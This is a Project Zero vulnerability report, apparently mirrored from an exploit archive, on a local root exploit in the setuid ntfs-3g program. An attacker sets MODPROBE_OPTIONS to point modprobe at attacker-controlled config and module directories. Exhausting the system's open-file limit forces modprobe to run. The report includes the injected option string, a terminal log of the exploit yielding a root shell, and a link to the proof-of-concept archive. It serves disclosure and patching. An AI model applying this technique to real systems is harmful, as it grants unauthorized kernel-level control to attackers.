Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1072

ntfs-3g is installed by default e.g. on Ubuntu and comes with a
setuid root program /bin/ntfs-3g. When this program is invoked on a
system whose kernel does not support FUSE filesystems (detected by
get_fuse_fstype()), ntfs-3g attempts to load the "fuse" module using
/sbin/modprobe via load_fuse_module().

The issue is that /sbin/modprobe is not designed to run in a setuid
context. As the manpage of modprobe explicitly points out:

       The MODPROBE_OPTIONS environment variable can also be used
       to pass arguments to modprobe.

Therefore, on a system that does not seem to support FUSE filesystems,
an attacker can set the environment variable MODPROBE_OPTIONS to
something like "-C /tmp/evil_config -d /tmp/evil_root" to force
modprobe to load its configuration and the module from
attacker-controlled directories. This allows a local attacker to load
arbitrary code into the kernel.

In practice, the FUSE module is usually already loaded. However, the
issue can still be attacked because a failure to open
/proc/filesystems (meaning that get_fuse_fstype() returns
FSTYPE_UNKNOWN) always causes modprobe to be executed, even if the
FUSE module is already loaded. An attacker can cause an attempt to
open /proc/filesystems to fail by exhausting the global limit on the
number of open file descriptions (/proc/sys/fs/file-max).

I have attached an exploit for the issue. I have tested it in a VM
with Ubuntu Server 16.10. To reproduce, unpack the attached file,
compile the exploit and run it:

user@ubuntu:~$ tar xf ntfs-3g-modprobe-unsafe.tar 
user@ubuntu:~$ cd ntfs-3g-modprobe-unsafe/
user@ubuntu:~/ntfs-3g-modprobe-unsafe$ ./compile.sh 
make: Entering directory '/usr/src/linux-headers-4.8.0-32-generic'
  CC [M]  /home/user/ntfs-3g-modprobe-unsafe/rootmod.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/user/ntfs-3g-modprobe-unsafe/rootmod.mod.o
  LD [M]  /home/user/ntfs-3g-modprobe-unsafe/rootmod.ko
make: Leaving directory '/usr/src/linux-headers-4.8.0-32-generic'
depmod: WARNING: could not open /home/user/ntfs-3g-modprobe-unsafe/depmod_tmp//lib/modules/4.8.0-32-generic/modules.order: No such file or directory
depmod: WARNING: could not open /home/user/ntfs-3g-modprobe-unsafe/depmod_tmp//lib/modules/4.8.0-32-generic/modules.builtin: No such file or directory
user@ubuntu:~/ntfs-3g-modprobe-unsafe$ ./sploit
looks like we won the race
got ENFILE at 198088 total
Failed to open /proc/filesystems: Too many open files in system
yay, modprobe ran!
modprobe: ERROR: ../libkmod/libkmod.c:514 lookup_builtin_file() could not open builtin file '/tmp/ntfs_sploit.u48sGO/lib/modules/4.8.0-32-generic/modules.builtin.bin'
modprobe: ERROR: could not insert 'rootmod': Too many levels of symbolic links
Error opening '/tmp/ntfs_sploit.u48sGO/volume': Is a directory
Failed to mount '/tmp/ntfs_sploit.u48sGO/volume': Is a directory
we have root privs now...
root@ubuntu:~/ntfs-3g-modprobe-unsafe# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lxd),123(libvirt),127(sambashare),128(lpadmin),1000(user)

Note: The exploit seems to work relatively reliably in VMs with
multiple CPU cores, but not in VMs with a single CPU core. If you
test this exploit in a VM, please ensure that the VM has at least two
CPU cores.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41356.zip